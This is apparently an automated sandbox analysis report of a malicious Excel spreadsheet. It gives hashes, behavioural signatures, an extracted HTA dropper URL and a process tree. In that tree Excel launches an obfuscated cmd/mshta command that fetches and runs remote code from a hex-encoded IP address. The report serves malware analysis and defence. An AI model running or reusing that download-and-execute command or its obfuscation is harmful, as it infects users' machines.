Analysis

  • max time kernel
    133s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-11-2024 18:00

General

  • Target

    9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d.xls

  • Size

    102KB

  • MD5

    a8c9638fbe2369dcea2c111939094feb

  • SHA1

    f14b244c6972c94a63468704f6bdb0c9da38eeef

  • SHA256

    9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d

  • SHA512

    209382608340a289e98988540e5798abce794c29f7144789a916b396d61a4238ac6eb5a4d7c7be750577b83f32b42aaa1dffdc8a0623aad06d3b83c9e89a2e0b

  • SSDEEP

    3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4516
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4316
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe3.html
        3⤵
        • Blocklisted process makes network request
        PID:3232

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    f773a2558ffdb1928b330d840e53d4fd

    SHA1

    cf297ab984cb935a9c79be415cc3f4909c70ea5c

    SHA256

    135b5c5570506fac9f7873a300d39d3dd7c3abe4de1836aa77818e34f520c466

    SHA512

    8b0612a91f97ae2dda2cb3b58cb0bf19dca66cf48177d4a39deb92fe933e327fc432975700e3d6c9d868e4a3a435b3cb21c1bac29f1b11b45c197eefccb719d1

  • memory/4516-14-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-32-0x00007FFB84A2D000-0x00007FFB84A2E000-memory.dmp

    Filesize

    4KB

  • memory/4516-2-0x00007FFB44A10000-0x00007FFB44A20000-memory.dmp

    Filesize

    64KB

  • memory/4516-4-0x00007FFB44A10000-0x00007FFB44A20000-memory.dmp

    Filesize

    64KB

  • memory/4516-5-0x00007FFB44A10000-0x00007FFB44A20000-memory.dmp

    Filesize

    64KB

  • memory/4516-8-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-7-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-11-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-10-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-9-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-1-0x00007FFB84A2D000-0x00007FFB84A2E000-memory.dmp

    Filesize

    4KB

  • memory/4516-3-0x00007FFB44A10000-0x00007FFB44A20000-memory.dmp

    Filesize

    64KB

  • memory/4516-15-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-6-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-12-0x00007FFB42650000-0x00007FFB42660000-memory.dmp

    Filesize

    64KB

  • memory/4516-16-0x00007FFB42650000-0x00007FFB42660000-memory.dmp

    Filesize

    64KB

  • memory/4516-18-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-19-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-17-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-20-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-31-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-0-0x00007FFB44A10000-0x00007FFB44A20000-memory.dmp

    Filesize

    64KB

  • memory/4516-33-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB

  • memory/4516-13-0x00007FFB84990000-0x00007FFB84B85000-memory.dmp

    Filesize

    2.0MB